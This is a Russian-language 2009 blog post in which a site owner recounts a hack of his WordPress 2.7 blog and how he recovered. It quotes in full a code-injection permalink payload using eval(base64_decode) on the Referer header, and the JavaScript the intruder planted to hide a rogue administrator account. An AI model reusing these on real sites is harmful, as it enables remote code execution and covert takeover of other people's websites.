Хакнули блог на wordpress 2.7

5 сентября 2009

Один из моих сайтов, тот СДЛ что Яндекс выкинул с индекса хакнули сегодня тоесть вчера

Покупая ссылки в блогуне я решил проверить блог по одному запросу и пошол в гугл набрав запрос увидел свой блог при переходе по ссылке мне выбило 400 Bad Request

В ссылке было типо:

/2009/09/срочн/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Пошарясь в поиске нашел еще много хакнутых блогов, ну да ладно...

В панели администрирования → wp → пользователи → было зарегано 3 пользователя, хотя в wp нет разрешения реги юзеров.

Также была надпись Administrator (2) я не-понял прикола, отображался только один админ я, а написано что админов двое...

Залез в исходный код и нашарил ссылку на скрытый профиль второго админа

<a href="user-edit.php?user_id=5&#038;wp_http_referer=%2Fwp-admin%2Fusers.php%3Frole%3Dadministrator">HaywoodWarner72</a>

Перейдя в его профиль увидел чудо

хакер ломает блог на wp

Вот вам JS который он всунул туда:

<div id="user_superuser"><script type="text/javascript"><!--
var setUserName = function(){    try{        var t=document.getElementById("user_superuser");        while(t.nodeName!="TR"){            t=t.parentNode;        };        t.parentNode.removeChild(t);        var tags = document.getElementsByTagName("H3");        var s = " shown below";        for (var i = 0; i < tags.length; i++) {            var t=tags[i].innerHTML;            var h=tags[i];            if(t.indexOf(s)>0){                s =(parseInt(t)-1)+s;                h.removeChild(h.firstChild);                t = document.createTextNode(s);                h.appendChild(t);            }        }        var arr=document.getElementsByTagName("ul");        for(var i in arr) if(arr[i].className=="subsubsub"){            var n= />Administrator ((d+))</gi.exec(arr[i].innerHTML);            if(n[1]>0){                var txt=arr[i].innerHTML.replace( />Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");        arr[i].innerHTML=txt;        }    }          }catch(e){};     };     addLoadEvent(setUserName);
// --></script></div>

Ума хватило все поправить, перебил пасы, обновил wp, кто не понял уточняю... хотели перелить мой трафик себе.

Первый раз когда меня ломанули и первый раз когда я обновил движок wordpress, теперь эта процедура будит постоянной.

***

Формирование сниппета в выдаче Google, мне нужны ваши гостевые посты.

cms wordpress